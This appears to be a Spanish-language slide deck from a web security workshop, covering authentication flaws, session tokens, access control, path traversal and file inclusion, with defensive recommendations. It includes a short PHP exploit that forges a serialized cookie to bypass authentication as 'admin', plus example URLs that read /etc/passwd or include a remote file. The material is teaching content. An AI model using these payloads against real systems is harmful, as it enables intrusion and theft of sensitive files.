Clase 05: Vulnerabilidades Comunes en el Lado del Servidor

Taller de Seguridad Web

Claudio Salazar (csalazar spect cl)



Sky - Beige - Simple - Serif - Night - Default

Agenda

  • Autenticación.
  • Manejo de sesiones.
  • Control de accesos.
  • Vulnerabilidades en el lado del servidor.

Autenticación

Fallas de diseño I

  • Contraseñas inseguras.
  • Nombres de usuario predecibles.
  • Contraseñas iniciales predecibles.
  • Ingreso vulnerable a fuerza bruta.

Fallas de diseño II

  • Mensajes de fallo verbosos.
  • Funcionalidad de cambio de contraseña.
  • Funcionalidad de recuperación de contraseña.
  • Distribución insegura de credenciales.

Ejemplo de caso real [1]



<?php
  list($user,$hash) = unserialize(stripslashes($_COOKIE['JMU_Cookie']));
  $user = trim(genc('get',$user));
  $req = "SELECT user_nickname, user_password
  FROM {$jamroom_db['user']}
  WHERE user_nickname = '". dbEscapeString($user) ."'
  LIMIT 1";
  $_rt = dbQuery($req,'SINGLE');

  if (md5($_rt['user_password'] . $sect) == $hash) {
    return($_rt);
  }
?>
    

Escenario de vulnerabilidad

Aprovechando el uso de datos serializados por parte de la aplicación y un comportamiento específico de PHP, podemos cambiar el tipo de los datos contenidos en la cookie y realizar un bypass de autenticación.

Explotación de la vulnerabilidad


<?php
  $data = array();
  $user = 'admin'; // Target

  $data[0] = base64_encode(serialize($user));
  $data[1] = (bool)1;
  echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
?>
    

Buena práctica

La serialización binaria de datos, en cualquier lenguaje, es peligrosa. Lo recomendado es usar serialización basada en texto (JSON, XML, etc).

  • Revisar la documentación de PHP sobre operadores [1].
  • No albergar información sensible del usuario en las cookies.

Recomendaciones

  • Usar credenciales fuertes.
  • Manejar credenciales de forma secreta.
  • Validar credenciales apropiadamente.
  • Prevenir fuga de información y ataques de fuerza bruta.
  • Prevenir mal uso de funcionalidades.

Manejo de sesiones

Sesiones

Las sesiones permiten identificar a un usuario durante su interacción con una aplicación. La forma más común de implementar sesiones es a través de un token de sesión.


El mecanismo de transmisión son las conocidas cookies.

Problemas en el manejo de sesiones

Hay dos grupos de problemas asociados con el uso de sesiones:


  • Debilidades en la generación de tokens.
  • Debilidades en el manejo de tokens.

Debilidades en la generación de tokens

  • Tokens con significado.
  • Predictibilidad de un token.
    • Secuencias.
    • Tiempo.
    • Mala implementación de aleatoriedad.
  • Ataques criptográficos.

Ejemplo de caso real

Debilidades en el manejo de tokens

  • Fuga de tokens en la red.
  • Fuga de tokens en logs.
  • Terminación de sesiones.
  • Alcance de la cookie.

Recomendaciones

  • Generar tokens fuertes usando funciones probadas.
  • Proteger tokens durante su ciclo de vida.

Control de accesos

Vulnerabilidades comunes

  • Funcionalidad completamente desprotegida.
  • Acceso directo a métodos.
  • Funciones basadas en identificadores.
  • Ficheros estáticos.
  • Configuración errónea de la plataforma (POST->GET).

Ejemplo de caso real

Métodos inseguros

  • Control de acceso basado en parámetro.
  • Control de acceso basado en Referer.
  • Control de acceso basado en ubicación.

Recomendaciones

  • No confiar en el usuario.
  • Adaptar un modelo de privilegios.
  • Restringir acceso mediante otros métodos, como IP.

Vulnerabilidades en el lado del servidor

Introducción

Para comenzar con el estudio de vulnerabilidades en el lado del servidor, comenzaremos con dos tipos de vulnerabilidades:


  • Path Traversal
  • File Inclusion

Path Traversal

Esta vulnerabilidad se da cuando se lee/escribe un fichero controlado por el usuario, y que mediante el uso de carácteres especiales el usuario puede acceder a otros recursos residentes en el sistema de archivos del servidor.


http://web/p.php?file=../../../etc/passwd     #vector común

Ejemplo de caso real

File Inclusion

En este tipo de vulnerabilidad no necesitamos escalar directorios, sino que podemos incluir directamente ficheros, tanto locales a la aplicación como remotos.


http://web/p.php?file=/etc/passwd     #vector común
http://web/p.php?file=http://web2/code.txt     #vector común

Ejemplo de caso real

Recomendaciones para ambas vulnerabilidades

  • ¿Es necesario que el usuario suministre los ficheros a acceder?.
  • Uso de mappings (index->fichero).
  • Uso de funciones disponibles en los lenguajes.

This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.